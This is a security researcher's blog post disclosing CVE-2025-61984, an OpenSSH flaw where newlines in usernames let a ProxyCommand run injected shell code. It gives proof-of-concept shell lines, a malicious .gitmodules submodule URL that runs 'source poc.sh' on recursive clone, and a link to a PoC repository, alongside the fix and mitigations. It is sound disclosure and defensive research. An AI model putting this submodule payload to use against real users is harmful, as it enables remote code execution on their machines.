dgl.cx

Bash a newline: Exploiting SSH via ProxyCommand, again (CVE-2025-61984)

I sometimes look for vulnerabilities that are just small twists on existing ones, where some angle such as particular character escaping has been missed. CVE-2023-51385 turned up some fruit.

Background

OpenSSH's ssh_config manpage explains how ProxyCommand works:

Specifies the command to use to connect to the server. The command string extends to the end of the line, and is executed using the user's shell ‘exec’ directive to avoid a lingering shell process. Arguments to ProxyCommand accept the tokens described in the TOKENS section. The command can be basically anything, and should read from its standard input and write to its standard output. It should eventually connect an sshd(8) server running on some machine, or execute sshd -i somewhere. Host key management will be done using the Hostname of the host being connected (defaulting to the name typed by the user). Setting the command to none disables this option entirely. Note that CheckHostIP is not available for connects with a proxy command.

This directive is useful in conjunction with nc(1) and its proxy support. For example, the following directive would connect via an HTTP proxy at 192.0.2.0:

ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

In the PoC for CVE-2023-51385 it needs a ~/.ssh/config that looks something like:

Host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

This means when running ssh foo.example.com the config fragment will match and the ProxyCommand directive will be used.

The unexpected characters

Control characters were disallowed in the hostname, but not the username. I first noticed this made it possible to spoof the password prompt:

ssh -l "$(printf "foo@example.com\u02C8s password: \e]")" valid-host
foo@example.comˈs password: 

Given a single quote is not allowed we can't exactly replicate the password prompt but we can use Unicode. In many cases U+02C8 looks very close to the single quote. This is not very serious as the TOFU check means the user would either know the host was different due to being prompted first to accept a different host key or it would be a host the user already trusts.

However we can insert not just the escape character, but any control character, what about newlines?

Per the ProxyCommand documentation quoted above we know the command is "executed using the user's shell ‘exec’ directive to avoid a lingering shell process". In code, this looks like:

static char *
expand_proxy_command(const char *proxy_command, const char *user,
    const char *host, const char *host_arg, int port)
{
        [...]
        xasprintf(&tmp, "exec %s", proxy_command);

The use of exec means anything after it isn't run:

$ bash -xc "$(printf 'exec echo hello\necho hello2')"
+ exec echo hello
hello

(This is using bash with the -x option, which turns on tracing of commands before they are run, with lines prefixed with one or more +.)

We can't just insert a newline and get code execution. The original issue in the CVE was something like this:

$ bash -xc 'exec echo hello $(echo hello2)'
++ echo hello2
+ exec echo hello hello2
hello hello2

Where "hello2" is unexpected code being run. However parentheses are blocked as part of the fix, as well as backticks; this seems good enough to stop attacks. The phrase "good enough" definitely applies here, quoting the OpenSSH 9.6 release notes:

Although we believe it is the user's responsibility to ensure validity of arguments passed to ssh(1), especially across a security boundary such as the git example above, OpenSSH 9.6 now bans most shell metacharacters from user and hostnames supplied via the command-line. This countermeasure is not guaranteed to be effective in all situations, as it is infeasible for ssh(1) to universally filter shell metacharacters potentially relevant to user-supplied commands.

If we look at valid_ruser in ssh.c:

      if (strchr("'`\";&<>|(){}", s[i]) != NULL)

We have a list of disallowed characters, from the strchr above, we are also within an exec shell builtin command, so the shell won't run anything after it. This seems safe.

Bash

Enter Bash with other ideas. If we manage to make certain kinds of syntax errors on the exec line, then it will jump to the next line. The behaviour here is quite surprising, a command after a semicolon isn't run, as it appears to stop parsing the line, but continues to the next line. On Error Resume Next vibes, anyone?

Bash supports square brackets for arithmetical expressions, i.e. $[1+1] expands to 2. However if there's a syntax error in the expression, it gives an error.

For example this causes an error and prevents the next command from running:

$ bash -xc 'exec $[*]; echo here'
bash: *: syntax error: operand expected (error token is "*")

However this causes an error and continues to the next line:

$ bash -xc "$(printf 'exec $[*]\necho here')"
bash: *: syntax error: operand expected (error token is "*")
+ echo here
here

(As an aside, people often say set -e is a good idea, well:

$ bash -ec "$(printf 'set -euo pipefail\nexec $[+]\necho here')"
bash: line 1: +: syntax error: operand expected (error token is "+")
here

set -e does not help here, even including it on the command line, in case set somehow didn't execute.)

Looking back at the list of characters in the strchr call, we see that $ and [ aren't filtered, so we can force the exec line to fail and run a command after that, without needing any other shell metacharacters (although arguably newline is a shell metacharacter).

Bash isn't the only shell that behaves this way.

Fish

In fish, if we use an out of bounds array index, it will error, but continue running the next line:

$ fish -c "$(printf "exec cat \$p[0]\necho here\n")"
fish: array indices start at 1, not 0.
exec cat $p[0]
            ^
here

csh/tcsh

In csh, an illegal variable name has similar behaviour:

$ csh -c "$(printf 'exec $[\necho here')"
Illegal variable name.
here

(Note that this means the bash and the csh inputs happen to overlap, so if someone is actually using csh in 2025, the bash PoC below should work.)

Zsh

Zsh does not have this behaviour, its man page says:

ERRORS Certain errors are treated as fatal by the shell: in an interactive shell, they cause control to return to the command line, and in a non-interactive shell they cause the shell to be aborted. In older versions of zsh, a non-interactive shell running a script would not abort completely, but would resume execution at the next command to be read from the script, skipping the remainder of any functions or shell constructs such as loops or conditions; this somewhat illogical behaviour can be recovered by setting the option CONTINUE_ON_ERROR.

However even if I do setopt continue_on_error I find zsh exits fatally on parsing $[+]. I haven't looked at how long ago this changed, but arguably this behaviour is better, even if not quite what is documented.

Exploitability

Like in CVE-2023-51385 the main way to exploit this is through a git submodule, but with the malicious username configured in the main module's .gitmodules:

[submodule "foo"]
  path = foo
  url = "$[+]\nsource poc.sh\n@foo.example.com:foo"

We then need a ~/.ssh/config which uses a ProxyCommand with a %r argument.

Host *.example.com
  ProxyCommand some-command %r@%h:%p

Finally we clone the repository, ensuring submodules are also cloned:

$ git clone --recursive https://github.com/dgl/cve-2025-61984-poc

On a vulnerable system you'll see:

$ git clone --recursive https://github.com/dgl/cve-2025-61984-poc
Cloning into 'cve-2025-61984-poc'...
done.
Submodule 'foo' ($[+]
source poc.sh
@foo.example.com:foo) registered for path 'foo'
Cloning into '/private/tmp/cve-2025-61984-poc/foo'...
/bin/bash: +: syntax error: operand expected (error token is "+")
... Running code here .../bin/bash: line 2: @foo.example.com:22: command not found

If you use zsh you'll see it doesn't work, as Zsh exits immediately on error:

$ git clone --recursive https://github.com/dgl/cve-2025-61984-poc
Cloning into 'cve-2025-61984-poc'...
done.
Submodule 'foo' ($[+]
source poc.sh
@foo.example.com:foo) registered for path 'foo'
Cloning into '/private/tmp/cve-2025-61984-poc/foo'...
zsh:1: bad math expression: operand expected at end of string
Connection closed by UNKNOWN port 65535
fatal: Could not read from remote repository.

There is also a "fish" branch that works on the fish shell, use git clone -b fish .... (I have not been able to combine them into one, as the bash $[+] trigger expression is a fatal error in fish.)

Severity

This can result in RCE, with the right conditions. However those conditions are dependent on the user having a particular configuration (and depending on the configuration the attacker having prior knowledge of the hostnames used in match conditions).

The correct way to model this is with a high CVSS base score and then adjusted according to the temporal severity. However a high severity number makes people jump. This probably shouldn't make you jump too high.

I personally find it interesting because of how different shell behaviour can result in different security outcomes. The Zsh man page points this out as "illogical behaviour", now that behaviour has potential security implications.

Because this has a fairly unique signature it is easy to search code for "ProxyCommand.*%r" and find cases where this is configured. For example see this GitHub code search. Some of the config fragments also include things that may be configured on CI systems, so it's worth considering this doesn't just affect client devices that are running SSH.

Teleport

One notable affected tool is Teleport. When using tsh config Teleport generates a ssh config fragment which includes %r, from the code:

# Flags for all {{ $clusterName }} hosts except the proxy
Host *.{{ $clusterName }} !{{ $dot.ProxyHost }}
    Port {{ $dot.Port }}
{{- if eq $dot.AppName "tsh" }}
    ProxyCommand "{{ $dot.ExecutablePath }}" proxy ssh --cluster={{ $clusterName }} --proxy={{ $dot.ProxyHost }}:{{ $dot.ProxyPort }} %r@%h:%p
{{- end }}

This means an attacker with knowledge of the teleport cluster name could socially engineer a user into cloning a malicious git repository and potentially get code execution.

The fix

The fix is to check for and disallow control characters in valid_ruser in ssh.c:

@@ -668,6 +668,8 @@ valid_ruser(const char *s)
 	if (*s == '-')
 		return 0;
 	for (i = 0; s[i] != 0; i++) {
+		if (iscntrl((u_char)s[i]))
+			return 0;
 		if (strchr("'`\";&<>|(){}", s[i]) != NULL)
 			return 0;
 		/* Disallow '-' after whitespace */

iscntrl() here is the C library function that checks for control characters (0x00 to 0x1F and 0x7F).

Mitigations

Upgrading to a version of OpenSSH (10.1) which disallows control characters in usernames is best, however it is possible to mitigate this through SSH configuration: change any ProxyCommand in your SSH client configuration that passes the %r expansion token to quote it with single quotes (i.e. '%r'). It has to be single quoted, double quotes still allow the error to be forced (although may not be exploitable).

Additionally some defence-in-depth measures may be considered:

  • Through Git configuration: Given one attack vector here is through a git submodule being checked out over SSH (even if the original clone was through HTTPS), it is possible to configure git to turn off SSH transports for submodules:

    git config --global protocol.ssh.allow user

    (The "user" option means the protocol is allowed if the user requested it directly, i.e. on the command line, but not if run automatically.)

    This mirrors the advice from the OpenSSH release notes:

    We strongly recommend against using untrusted inputs to construct ssh(1) commandlines.

  • Disable any URL handlers for ssh://. Some URL handlers have extra validation but not all do. I found Kitty's URL handler on macOS (not enabled by default) would pass through the newline character to the SSH command line. (This interacts poorly with most browsers hiding the username part of a URL to avoid tricking users about a link's destination -- the strange looking username which will be passed to the URL handler isn't visible.)

  • Switch to Zsh. Mostly joking, but if you do think you're not vulnerable due to your shell choice, be careful. Just running zsh isn't enough, it depends on what your $SHELL is set to, which usually reflects your login shell.

Thoughts

Given the need for a user to have a particular configuration, this is a very unlikely vulnerability to actually be exploited. However given recent software supply chain attacks, I think there is value in improving security in these areas.

Broader implications

The interactions between git, SSH and the shell make for some surprising action at a distance behaviour. Maybe git shouldn't allow control characters in usernames either. Traditionally Unix-like systems have worked by passing essentially byte sequences around, with each program inferring the meaning it wants from them. In the previous Git vulnerability post I called out RFC 9413, which is still relevant here, although "Parse, don’t validate" applies too.

A shell is generally trusting of its input, here I've shown that when checking for shell metacharacters before passing them to a shell it is important to check for all of them. This is particularly hard when the shell is the user's choice and other tools don't know all their conventions, as pointed out in the OpenSSH release notes.

Future hardening ideas

The above git configuration (protocol.ssh.allow = user) is strongly recommended not just as a mitigation against this, but against future bugs that cross the git to SSH boundary. Git could consider adding a defence-in-depth option to keep submodule clones on the same protocol, user and host (i.e. roughly origin in HTTP terms) as the original clone too.

Thanks

Thanks to Damien Miller and Theo de Raadt for the quick fix and discussions around this. Also much thanks and credit to Vinci for finding the original CVE-2023-51385.

Thanks to G-Research Open Source for enabling me to work on this.